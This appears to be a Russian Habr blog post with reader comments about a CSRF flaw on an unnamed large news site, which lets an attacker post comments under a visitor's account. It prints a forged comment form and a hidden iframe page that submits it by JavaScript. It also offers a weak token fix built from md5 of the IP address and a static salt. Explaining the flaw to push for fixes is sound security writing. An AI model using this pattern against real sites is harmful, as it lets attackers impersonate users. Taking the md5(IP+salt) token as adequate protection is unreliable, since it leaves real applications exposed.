Имеют ли право пренебрегать безопасностью пользователей крупные компании?

    Лирическое отступление


    Представим себе ситуацию… Вы простой пользователь интернета. Ежедневно посещаете различные сайты, читаете там новости, общаетесь в социальных сетях, просматриваете почту и т.д. Все как обычно. Но в один прекрасный день в дверь вашей квартиры стучат. На вопрос «кто там?» вам отвечают: «Откройте, полиция!». Берут вас под белы рученьки и сопровождают в ближайший отдел. Вы недоумеваете «за что?». В ответ слышите: «Систематическая публикация в интернете сообщений призывающих к разжиганию межнациональной розни». Как? Почему? Никогда не писал подобного рода сообщений! В ответ на эти претензии вам показывают ряд сообщений на некоторых известных информационных ресурсах которые действительно написаны из под вашего аккаунта и содержание которых явно противоречит законам РФ. Что самое интересно, даже IP-адрес с которого были отосланы сообщения совпадает с вашим домашним. Возможно, это кошка, которая живет с вами, гуляя по клавиатуре, случайно набрала эти сообщения за вас и разослала по разным сайтам. Возможно, вам даже поверят… И срок в 2 года лишения свободы неявно замаячил на горизонте.
    Так что же все-таки произошло? А произошло следующее…

    Так называемые «известные информационные ресурсы» крайне безответственно подошли к безопасности своих пользователей. Именно из-за дырявого кода написанного программистами, сами того не подозревая, вы стали жертвой злоумышленников.

    Немного теории


    Не будем долго ходить вокруг да около, сразу перейдем к делу. Есть такой тип уязвимостей, как CSRF. Многие знают, что это такое, но для тех, кто не в курсе приведу вырезку из Wikipedia:
    CSRF (англ. Сross Site Request Forgery — «Подделка межсайтовых запросов», также известен как XSRF) — вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.
    Как раз такая уязвимость была найдена на одном «известном информационном ресурсе» (посещаемость в сутки переваливает за 2 000 000). Я намеренно не привожу здесь названия этого ресурса, т.к. спустя неделю (!) после того, как администрация была уведомлена о найденной «дыре», эта самая «дыра» до сих пор не заштопана.

    Немного уличной магии


    У нашего сайта есть раздел «Новости». Они довольно часто обновляются, и практически к каждой новости можно оставлять свои комментарии. В среднем на одну новость оставляется порядка нескольких сотен комментариев. Как может быть проэксплуатирована найденная уязвимость?
    Пытаемся добавить свой комментарий. Перед нами возникает форма, которую нужно заполнить для отправки сообщения.

    Открываем исходный код страницы. Ищем код, отвечающий за формирование формы отправки сообщения.
    <form onsubmit="return checkNCForm(this);" method="post" name="comment" action="/politics/7082376/comments/#add_begin">
     <input type="hidden" value="1" name="save">
     <input type="hidden" value="1" name="begin_reply">
     <div class="description">
     Запрещено размещение сообщений, нарушающих законодательство РФ и/или общепринятые понятия об этике общения.<br><br>
     В частности сообщений:<br>
     - способствующих разжиганию межнациональной вражды;<br>
     - пропагандирующих наркотики, порнографию, проституцию;<br>
     - нарушающих авторские и другие права третьих лиц;<br>
     - компрометирующих любые группы людей по любому признаку;<br>
     - оскорбляющих и унижающих человеческое достоинство;<br>
     - содержащих ненормативную лексику;<br>
     - являющихся спамом.        
     </div>
     <input type="hidden" value="1" name="doauth">
     <div class="form">
     <table>
     <tbody><tr>
     <th>Ваше имя:</th>
     <td><input type="text" class="readonly" readonly="readonly" value="Петрик Дмитрий"></td>
     </tr>
     <tr>
     <th>Тема:</th>
     <td><input type="text" value="" maxlength="60" name="title"></td>
     </tr>
     <tr>
     <th>Текст:</th>
     <td><textarea rows="5" cols="30" name="text"></textarea></td>
     </tr>
     <tr>
     <th></th>
     <td class="submit">
     <input type="submit" value="Добавить">
     <a href="/politics/7082376/comments/?" onclick="return closeNCForm();">Закрыть</a>
     </td>
     </tr>
     </tbody></table>
     </div></form>

    Из содержания видим, что нигде не проверяется подлинность отправителя. Обычно это какой-нибудь hash из различных параметров. Уберем из исходной формы все лишнее и заполним поля нужным текстом.
    <form method="post" name="comment" action="http://news.example.ru/politics/7082376/comments/#add_begin" >
     <input type="hidden" value="1" name="save">
     <input type="hidden" value="1" name="begin_reply">
     <input type="hidden" value="1" name="doauth">
     <input type="text" class="readonly" readonly="readonly" value="Витя Пчелкин">
     <input type="text" value="Комментарий" maxlength="60" name="title">
     <textarea rows="5" cols="30" name="text">Интересная новость :)</textarea>
     <input type = "hidden" value="Добавить">
     <input type = "submit">
    </form>

    Форма готова, поля заполнены. Теперь атакующему необходимо сделать так, чтобы когда пользователь заходит на его сайт, из под учетной записи пользователя без его ведома в указанную новость отправлялось сообщение сформированное атакующим. Для этого злоумышленник помещает вновь сформированную форму в iframe, который сделает невидимым для пользователя. Сабмитить форму будет с помощью JavaScript. Код атакующей странички будет примерно такой:
    <script>
    function submit_form(){
    window.evilframe.document.forms[0].submit();
    }
    </script>
    
    <iframe name='evilframe' src='form.html' style='display:none' onLoad=submit_form();></iframe>
    evil page in action...

    Где form.html — фейковая форма.
    После того, как пользователь заходит на атакующий сайт, на нашем «информационном ресурсе», в комментариях к новости определенной злоумышленником, он мог бы увидеть свой комментарий:

    Вот только, скорее всего, он даже и знать не будет о том, что где-то оставил комментарий.
    Данную уязвимость я тестировал на себе, а так же попросил поучаствовать в этом одну свою знакомую заранее предупредив об эксперименте. После посещения определенной ссылки результат был ожидаемый:

    Как это «лечится»?


    Исправить эту уязвимость можно добавив в форму одно скрытое поле, в котором по определенному алгоритму формируется определенный набор символов. Чтобы атакующему удалось провести атаку типа CSRF ему для начала нужно правильно подобрать этот набор символов.
    Приведу простой пример. В данном случае в роли определенного набора символов будет выступать hash md5. Брать его будем от выражения: [IP адрес пользователя]+[статический набор случайных символов].
    $hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb');
    echo '<input name="hash" type="hidden" value="'.$hash.'">';

    На сервере после отправки формы проверяем наш hash.
    $hash = md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb');
    if (isset($_POST["otvet"]) && ($hash == $_POST["hash"])) 
    {Выполняем какие-то действия}
    else
    {Возможно, пытаются подделать запрос};

    Коротко о главном


    Этот год стал знаковым в области проблем информационной безопасности. Множество сайтов крупных компаний было взломано. В большинстве случаев эти взломы были осуществлены в связи с тем, что руководство компаний не уделяло должного внимания вопросам информационной безопасности. Как правило, в первую очередь страдали простые пользователи этих ресурсов: уводились учетные данные, почтовые ящики, данные кредитных карт и т.д.
    В связи с этим хотелось бы вернуться к вопросу в заголовке этого топика. Имеют ли право пренебрегать безопасностью своих пользователей крупные компании? Можно ли экономить на специалистах в области информационной безопасности в ущерб безопасности клиентов/пользователей? Должна ли быть наказуема халатная небрежность, когда в течении недель или даже месяцев, после обнаружения критических уязвимостей они остаются на своих местах? Может нужна какая-та стандартизация, которой должны придерживаться крупные компании в своих сервисах? Давайте порассуждаем на эту тему, а может и предпримем какие-то действия чтобы пошатнуть сложившийся уклад…

    Upd: Немного изменил название топика. А то грубо как-то получилось и не совсем корректно :(
    Share post
    AdBlock has stolen the banner, but banners are not teeth — they will be back

    More
    Ads

    Comments 89

      +52
      > Имеют ли право на говнокод крупные компании?

      Имеют. И им пофиг. Ваш К.О.
        0
        Вообще, очень интересно, можно ли добиться ответственности от компании, которая так подставила?
        Думаю, в случае создания законодательной базы, дыр в сайтах станет намного меньше.
          +6
          А кто их будет проверять на соответствие? А кто будет сертифицировать разработчиков? А кто будет решать что является дырой, а что нет? и т.д.
            0
            И сколько это будет стоить, и кому достанется право пилить собранное и закрывать нераспиленное?
            0
            А кто будет проверять на соответствие? А кто будет сертифицировать разработчиков? А кто будет решать что дыра а что нет? и т.д.
              +1
              эм. что-то на хабре затуп. сказали что первый пост не ушел, а потом сразу два :)
                +19
                Крупные компании имеют право написать, что первый пост не ушёл, но опубликовать его, %username%.
              +9
              Вы потеряли связь с реальностью. Нужно совершенствовать (или отменять) законы, которые позволяют посадить случайного человека за публикацию, которую он не совершал, а не сертифицировать разработчиков.
              0
              habrahabr.ru/sandbox/36927/
              вот интересная заметка с размышлениями на эту тему
              +5
              Я намеренно не привожу здесь названия этого ресурса

              Надо было тогда исходники/скриншоты тоже подчистить.
              А то сейчас набегут скрипт-кидди.
                –1
                Да я вроде постарался везде вычистить название компании…
                  +6
                  1) «politics/7082376» из кода легко гулгится
                  2) иконки из скриншотов с комментариями
                    0
                    спасибо, доктор. теперь я тоже знаю, что это был за ресурс, хоть пост и почищен
                +1
                На уязвимости такого вида — не имеют.
                +17
                мейлрушечка? Бррр…
                  +5
                  ага, картинки совсем без палева вставлены

                  «не будем называть имён, говоря о том что вася виноват»
                  +4
                  Фишка в том, что у нас нет ответственности за такую халатность со стороны компаний.
                  Если бы вы могли подать в суд, и самое главное выиграть, за причинение ущерба, то все было бы по другому…
                  А так всем пофиг какие неудобства они могут вам причинить собственной халатностью…

                  Хотя наверно возможно доказать свою не виновность пока дырку не закрыли, продемонстрировав ее.
                    +2
                    Главное успеть найти уязвимость, через которую вас подставили, до того как вас лишат компьютера и интернета на пару лет…
                    –10
                    Есть серьезные подозрения, что описанная вами уязвимость есть на 999 сайтов из 1000. Я бы не стал сильно надеется, что вебмастеры бросят все свои важные дела и пойдут ковырять код ради того, чтобы Васе Пупкину не дали два года. Дело в том, что проблема то не у веб-мастера. Его основная проблема — это спам в комментариях и он о ней, скорее всего, уже позаботился. Описанная вами проблема — это проблема Васи Пупнкина. И решать ее он должен сам. Антивирус, какой-нибудь плагин к браузеру, не лазить куда попало и тп. Спасение утопающих…
                      +8
                      Ага, лечение поноса запретом ходить в сортир…
                        0
                        Простите, и что должен делать т.н. «антивирус, какой-нибудь плагин к браузеру»? Запрещать отправлять данные из формы на другой домен? Как вы себе это представляете?
                          +2
                          NoScript… блокирует выполнение скриптов и таким образом блокирует отсылку на другой домен.
                            +2
                            Если отправка осуществляется GET'ом, а не POST'ом (а подобных ресурсов достаточно много), то скрипт для отправки сообщения не нужен, соответственно NoScript тут ничем не поможет.
                              0
                              Серебряных пуль к сожалению не бывает…
                              +3
                              Может, я чего-то не понимаю, но я не очень представляю, как можно в эру вебдванолей и аяксов использовать браузер с отключенным javascript'ом.
                                +1
                                Ну он же не полностью отключает javascript. Скорее, отфильтровывает нежелательные скрипты и подозрительные http-запросы.
                                  +1
                                  Лично я никогда им не пользовался, но 1 раз видел машину с установленным NoScript. Может, там было так настроено, но там он резал 99% всех скриптов, т.е. буквально на каждой странице приходилось разрешать javascript. Через 10 минут я устал от этого и запустил Хром.
                                    0
                                    Думаю, что у владельца того компьютера таких проблем не возникало — на всех часто посещаемых им (и безопасных) сайтах разрешения уже стояли.

                                    Кроме того, NoScript не только скрипты запрещает — их можно глобально разрешить и оставить блокировку XSS, кликов в полузакрытый весёлыми картинками iframe и прочего.
                                      –1
                                      Мне кажется ключевые слова здесь «часто посещаемых» «и безопасных». Речь идет о чертовски посещаемом и для многих «безопасном» бгмерзком ресурсе. Так что в данном случае Noscript ни как не поможет, так как рядовой пользователь добавит данный ресурс в исключение.
                                      0
                                      NoScript по умолчанию включает параноидальную опции «мочить все, что не разрешено». Я предпочитаю включать опцию «Разрешать javascript с текущего домена второго уровня по умолчанию». И 99% НЕвредоносных скриптов работают без доп. телодвижений.
                                        +1
                                        И отпадают все jquery на CDN?
                                          0
                                          Ну это относительно небольшой whitelist.
                                +2
                                Плагин RequestPolicy для FF. Хотя не согласен с тем, что это проблема пользователя.
                                +8
                                Ну дык… нахрена нужна полиция?
                                Грабители и воры это проблема Васи Пупкина…
                                Короткоствол, какой нибудь нож… не ходить по темным улицам…

                                Ну вы поняли…
                                  +1
                                  Ну вот представьте — приходите вы в супермаркет, а некто из числа покупателей начинает вас бить прямо между стелажами. Вы — к охране, а они: «ничего не знаем, вас аккуратно бьют, товар не страдает — значит это ваши проблемы. Можем милицию вызвать, если хотите».

                                  Вы вернетесь в этот супермаркет?
                                    +3
                                    В этом и проблема, что вернусь. Речь идет про крупные компании, с большой базой клиентов. Продолжая вашу аналогию, можно представить, что супермаркет вообще один на город. Или в соседнем торгуют отравой и просрочкой. А в третьем сразу на входе избивают и отнимают деньги.

                                    Об этом и речь, что чем больше компания, тем больше должна быть ответственность, т.к. клиенту сложно или невозможно (в случае PSN) найти альтернативу.
                                  0
                                  Вы не учитываете риски потери имиджа в том случае, если у кого-то из конкурентов внезапно окажется более лояльное отношение к проблемам Васи Пупкина.
                                  +1
                                  Они делают деньги. Просто деньги.
                                    +7
                                    К сожалению над программистами часто стоит бестолковое начальство. «Задача сделана? Функционал реализован? Быстро переходим к следующей задаче что бы не отставать от конкурентов», а про уязвимости голова потом будет болеть, когда начальство получит свои премии за работу стахановскими темпами.
                                    Имхо: совковый менталитет у многих еще не вылечен, пятилетку за 2 года хотят выжать.
                                      –2
                                      если программист не готов отстаивать перед начальством позицию того что код должен быть написан правильно, а программа вести себя адекватно и надежно — то это не настоящий программист.
                                        +8
                                        Поэтому настоящий программист ваяет шедевры у себя дома, и про него никто не знает, потому что нет денег на раскрутку.

                                        А когда у ненастоящего менеджера есть миллион на проект, и сроки и дедлайны, то нанимать он будет ненастоящих программистов, которые ему сделают что надо и в срок, а не настоящего, который скажет «Вообще-то перл нынче уже не тот, надо бы начать с того, что перепишем как надо интерпретатор. Если уж делать — так на совесть!»
                                      0
                                      Определенная ответственность есть — поисковые системы худо-бедно определяют зараженные сайты и фактически закрывают доступ к сайту через стандартные сервисы браузера и несколько ограничивают переходы с поисковой выдачи. Сайты, которым приносит прибыль переходы с поисковиков обычно озабочены отсутствием подобных ограничений.

                                      Проблема в том что уровень компетентности многочисленных сайтостроителей и сайтовладельцев несколько плосковат.

                                      Но опять же регулирование в интернете невозможно, а посему все в руках пользователей. Только краудсорсинг может хоть что-то решать или менять в инете.
                                        +22
                                        Может быть однажды, в далёком будущем, до общества наконец дойдёт, что в интернет с законами лезть просто не нужно.
                                        Интернет не принадлежит ни одной стране, ни одна его часть, кроме тех, которые они там сами и создают, но даже они частью стран не являются и никакие земные законы к ним неприменимы.
                                        И тот факт, что интернет является частью земной цивилизации ни коим образом не означает…

                                        Завершаю мысль и иду спать:
                                        Вполне достаточно уже того, что для регистрации доменов регистраторы получают персональные данные, а данные регистраторов доступны властям (даже немного черезчур) и если кто-нибудь и должен нести ответственность за то, что кто-то насрал в интернетах — то это или владелец обосранного ресурса или владелец хостинга или насравший, но единственное возможное наказание за такое — принудительное смывание, всё остальное уже за пределами интернетов
                                        Хотя нет, лучше вот так:
                                        — За нарушения земных законов в земных странах положены земные наказания (штраф, тюрьма, расстрел)
                                        — За нарушения законов интернетов в интернетах положены наказания интернетов (кик, бан, перманентный бан)
                                        — За нарушения земных законов в интернетах наказывать стоит в интернетах, ибо если я нарушу закон США, находясь в России, то и судить меня будет российский суд по российским законам, а не США!
                                        — За нарушения законов интернетов вне интернетов последним тоже не стоит лезть не в своё дело (ибо если я в реале назвала админа форума дураком это не повод для бана)
                                          +4
                                          За кражу денег через интернет нужно банить на сайте банка?
                                            +10
                                            Как ни странно, но возможно это было бы эффективнее. Тогда бы банку все таки пришлось заниматься предотвращением краж, а не просто «мы дело передали в милицию — теперь они пусть разбираются, мы не виноваты».

                                            По аналогии, если вы идете темной ночью и надеетесь на милицию — то есть риск, что вас ограбят. Но если вы твердо знаете, что милиция вас не защитит, то вы передвигаться будете на броневике, следуя за артиллерийским огнем, который все возможные угрозы перед вами уничтожит. И тогда шансов дойти до дома без приключений — уже больше.
                                              0
                                              Такое путешествие — приключение само по себе.
                                              +1
                                              <сарказм>
                                              Нет, конечно стоит сажать в тюрьму за такое.
                                              Вот мы сейчас зарядим в вашу винду троянчика, затунелимся через него и переведём себе денег со Василия Пупкиновича, а вы за нас посидите лет пять, ибо улики мы за собой уберём.
                                              </сарказм>
                                              0
                                              Забанить педофила на педосайте?
                                                +3
                                                Вам этот педофил так сильно мешает? Забаньте его у себя в блоге.
                                              0
                                              Может просто реферер проверять? Тогда с помошью айфрейма сложно будет такое сделать, так как заголовки таким способом не подделаешь, а аякс не сработает, а на сервере нет кук того сайта.
                                                +1
                                                Многие из персональных межсетевых экранов и анонимизирующих proxy-серверов вырезают Referer, как потенциально небезопасный заголовок. Поэтому сервис может не работать у некоторых пользователей.
                                                  0
                                                  =) Многие онлайн банкинги проверяют реферер. Часто еще видел что имена полей генерируют как вы хеш сгенерили.
                                                  0
                                                  Кстати, вот один сегодняшний пост, прямо в тему: как обрезать referer при эксплуатации CSRF: blog.kotowicz.net/2011/10/stripping-referrer-for-fun-and-profit.html
                                                  +1
                                                  >Давайте порассуждаем на эту тему, а может и предпримем какие-то действия
                                                  Имеют. Ошибаются все. Права на ошибку не имеют очень немногие.
                                                  Должно быть наказуемо. Действуйте.
                                                  Зафиксируйте ваше общение с компанией. Постарайтесь выяснить имена конкретных людей и их начальников.
                                                  Не реагируют — публикуйте уязвимость.
                                                  Не помогает — демонстрируйте серьезность проблемы. Запостите 1000 комментариев «Закройте уже дыру наконец!» и ссылку на описание проблемы.
                                                  (Только с законом будьте осторожны.)

                                                  0
                                                  >в котором по определенному алгоритму формируется определенный набор символов

                                                  Этаж надо было так забористо банальный токен назвать! А CSRF на уровне посетителя вполне себе неплохо лечится кнопкой «Выход» ;) Нисколько не хочу оправдывать говнокод в приложении, но пользователю и самому неплохо бы о себе позаботиться.
                                                    +2
                                                    Каким образом «Выход» лечит? Во-первых, многие не пользуются им (а для злоумышленника часто важно чтобы многие попались, но не обязательно, чтобы уж все). А во-вторых, зайти на «плохой» сайт можно и будучи залогиненым на «хорошем» сайте, просто потому что ты с ним еще работаешь.
                                                      0
                                                      Вы действительно думаете что большинство пользователей что-то знают о дырах на сайтах и как их используют? Они знают, как зайти в почтовый ящик, знают, как сообщение на вконтакте отправить и все. И даже представления не имеют, что кто-то их может так подставить…
                                                      А «Выход» зачастую жмется только для того чтобы в ваш аккаунт не залез тот, кто следующий сядет за компьютер
                                                        0
                                                        Если у пользователя в момент CSRF-атаки открыта вкладка с активной и еще нужной пользователю сессией на атакуемом приложении, то кнопкой выход это лечится плохо.
                                                        +1
                                                        имеют. задача проекта работать и приносить дЭнги, а не быть красивым и тешить эго разраба.
                                                          0
                                                          Настолько баян, что даже баян заплакал.
                                                            +8
                                                            Название топика и посыл немного неверный. Уязвимость такого рода — это не говнокод, это критический баг в системе, в части ее функционала, так как в таких родах системах — надлежащая безопасность- сама по себе часть функциональности.

                                                            Под словом говнокод я бы понял — код, написанный без комментариев, спагетти код, код, отрицающий грамотные и уместные паттерны, код, имеющий high coupling/low cohesion, и все такое прочее. На такое любая компания имеет право, так как это внутреняя часть системы, и вам нет дела до всего этого — если до вас это недопросачивается.

                                                            Уязвимости же, позволяющие одному пользователю писать сообщения от имени другого — это не гавнокод. Это критические ошибки архитектуры \ баги, не больше и не меньше.
                                                              0
                                                              Имеют. Ты когда регистрируешься на каком-нибудь сайте, всегда соглашаешься с правилами. А там много чего интересного пишут.
                                                                +1
                                                                Вы про «администрация ответственности не несет»? Если да, то это пустой звук. «Администрация», нравится ли ей это или нет, но несет ответственность перед своими пользователями в рамках действующего федерального и уголовного законодательства (например, по части обеспечения конфиденциальности персональных данных, банковской тайны, тайны связи — к вопросу о «виновнике торжества» и т.п.), которую никоим образом не может с себя снять с юридической т.з. Соответственно, подобные пункты в пользовательских соглашениях ничтожны, если этим соглашениям дан статус оферты. Либо же эти соглашения вообще не имеют юридической силы, если такой статус им не дан.

                                                                Другое дело, что бороться за свои права в суде у нас в стране не вполне принято, да и является весьма хлопотным делом, к сожалению.
                                                                +1
                                                                По поводу защиты от этого класса угроз… Проверка поля referer не вполне эффективна, т.к., как уже сказали выше, во-первых — это поле может отрезаться на пути от клиента к серверу, а во-вторых, оно и отправляется не всегда. Например, когда клиент переходит из документа, полученного по HTTPS на HTTP-ресурс, поле referer не устанавливается браузером в соответствии со стандартом HTTP (http://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html#sec15.1.3).

                                                                Как уже упомянул автор топика, классическим и самым распространенном способом противодействия CSRF является заворачивание всех чувствительных запросов к серверу в POST вместо GET (Мегафон его знает почему так), а любая POST-форма снабжается случайным (на каждый HTTP-запрос) токеном в скрытом поле, который сопоставляется на сервере с сессионным токеном пользователя и, при приходе формы, это соответствие проверяется в ходе валидации полученных данных. Это создает некоторую дополнительную нагрузку на серверную часть, поэтому часто поступают следующим образом: POST-формы, снабжаются случайными на каждый HTTP-запрос токенами, которые либо дублируются в куках, отправляемых клиенту вместе с формой, либо в куки кладется что-либо, достаточное для валидации этого токена сервером (речь о криптографии). При получении POST-запроса, сервер просто сравнивает эти два значения, когда данные формы проходят валидацию.

                                                                Но если у вас в приложении внезапно есть XSS, то все сказанное выше не дает 100%-ой гарантии от CSRF. Если она все же необходима, то тут уже придется ограничивать удобство пользователя и вводить капчу, одноразовые пароли и реаутентификацию.
                                                                  0
                                                                  всякие сессионные токены — слишком сложно. если мы исходим из предположения, что нам достаточно передавать в форму что-то известное только данному пользователю, то это может быть всего-лишь хеш хеша пароля.
                                                                  0
                                                                  Буквально на днях одно обстоятельство заставило меня задуматься над одной вещью:
                                                                  Незакрытая вкладка веб-интерфейса той самой почты в интернет эксплойтере за пару часов создала аж полтора мегабайта паразитного ИСХОДЯЩЕГО (!!) GPRS-трафика.
                                                                    +2
                                                                    «В интернет эксплойтере» — это типа вы так Интернет Эксплорер опустили? :-D
                                                                      0
                                                                      Я недавно стал замечать тикание компьютера. Иногда делает так «тик-тик» каждую секунду. Сначала думал, что что-то обрабатывает, а потом заметил, что тикание идет только когда открыто мыло.ру, это каждую секунду идет синхронизация с почтовым сервером.
                                                                      0
                                                                      Немного новым годом повеяло:

                                                                      > Этот год стал знаковым в области проблем информационной безопасности.

                                                                      Этот год был трудным для нашей страны в интернетах.
                                                                        0
                                                                        > т.к. спустя неделю (!) после того, как администрация была уведомлена о найденной «дыре», эта самая «дыра» до сих пор не заштопана

                                                                        Рассмешили честно говоря этой неделей. Когда я летом сообщил им (и не только им) о большом количестве CSRF, никто ничего не делал в течение 2х месяцев.
                                                                          –1
                                                                          Они, похоже, так ничего и не сделали
                                                                          0
                                                                          Вы переворачиваете с ног на голову. Если работает презумпция невиновности, это обвинение должно доказать, что уязвимостей на этом сайте или на компьютере пользователя нет. Иначе наличие вины подозреваемого они этим не докажут. А если презумпция не работает, или у суда некомпетентные/продажные эксперты, это лишь один из многих возможных сценариев экспуатации этой «уязвимости», лечить надо болезнь а не симптомы.
                                                                          И да, в нормальном обществе проблемы говнокода — проблемы компании, а не её пользователей. А формулировка некорректная, что за «право» такое? Если их устраивают миллионные иски, пусть так и будет. А если исков и нет, чего им вообще чесаться-то?
                                                                            0
                                                                            Как мне кажется, схема настолько сложно реализуема и гипотетическая цель настолько не соответствует затратам, что вряд ли кто-то станет ее использовать. Есть и более простые способы анонимно постить комменты)
                                                                              –2
                                                                              я только не понимаю, чем поможет токен? В чем проблема тем же JS-скриптом сначала вызвать страницу с этого ресурса (конечно, не называемого) с нужным токеном, заполнить нужные поля, а потом просто отослать форму на нужный адрес?
                                                                              По-мойм это проблема пользователя, раз он заходит на сайты, на которых висят такие вот скрипты.
                                                                                0
                                                                                Если ресурс позволяет злоумышленнику внедрить в свои страницы js (более обобщенно — если он подвержен атакам межсайтового скриптинга), то токен мало чем поможет, да.

                                                                                Основная проблема client-side атак заключается в том, что возможности по противодействию им в основном сосредоточены на стороне сервера, а вот заинтересованность в таком противодействии находится по большей части на стороне клиента.
                                                                                  0
                                                                                  Как я понял, в статье идет речь о том, что пользователь сам каким-то образом зашел на страницу злоумышленника:
                                                                                  Теперь атакующему необходимо сделать так, чтобы когда пользователь заходит на его сайт

                                                                                  на которой, что логично, размещен тот самый код. И вот JS запрашивает нужную страницу со всеми необходимыми токенами пользователя, вставляет ее в свой iframe, заполняет поля и отправляет. Серверу крайне проблематично определить, исходил ли этот запрос от зловредного скрипта или от самого пользователя. Поэтому, мне кажется, первый шаг к противодействию — не заходить на такие сайты.
                                                                                    0
                                                                                    На таких сайтах в шапке крупными буквами написано: «Осторожно, вредоносный скрипт в теле страницы!» :)
                                                                                      0
                                                                                      примерно так :)
                                                                                      но ведь в передаваемом запросе тому же серверу мыло.ру тоже нет переменной «badscript» => «true», а практически все заголовки можно подменить
                                                                                      +2
                                                                                      Для этого скрипт из родительского документа должен получить доступ к DOM содержимого iframe'а, что в общем случае невозможно в силу same origin policy, хотя и с некоторыми оговорками.
                                                                                        0
                                                                                        И вот JS запрашивает нужную страницу со всеми необходимыми токенами пользователя, вставляет ее в свой iframe

                                                                                        Возможность реализации этого также вызывает сомнения, примерно по той же причине :/
                                                                                      0
                                                                                      Фишка тут md5($_SERVER['REMOTE_ADDR']+'46d6dfvlw8e9hb');
                                                                                      0
                                                                                      Есть один момент. Если примем, что крупные компании не имеют права пренебрегать безопасностью пользователей, то встанет вопрос — как определить порог, после которого компания считается «крупной», а потом предотвратить вывод информационных ресурсов в мелкие дочерние компании для избежания ответственности за безопасность пользователей. И ведь не запретишь создавать дочерние компании и им не запретить владеть информационными ресурсами.
                                                                                        +1
                                                                                        Как вариант — может стоит немного доработать закон о персональных данных и применять его более широко и гибко? В данном случае это будет означать необходимость защитить сессию пользователя, раз он зарегистрировался и предоставил свои идентификационные данные, то сессию обмена данными с ним необходимо защищать. Такой вариант избавит от необходимости ранжировать компании. А если принять общероссийский стандарт защиты данных и сделать его доступным для использования, то принуждать к этому отдельные компании не придется.
                                                                                          0
                                                                                          Еще один вариант — это чтобы компании проводили среди своих программистов подобные лекции. Тогда бы люди лучше понимали какой код они пишут и к каким последствиям это может привести.
                                                                                            0
                                                                                            А на форумах такое возможно? (CSRF)
                                                                                              0
                                                                                              Да, им пофиг. И это как правило указано: «Мы — такие то, не несем НИКАКОЙ ответственности за ЛЮБЫЕ Ваши действия и последствия, которые могут возникнуть в результате Ваших действий и т. п.»

                                                                                              Получается правильным один вариант: не использовать продукты с такими формулировками О_о

                                                                                              Only users with full accounts can post comments. Log in, please.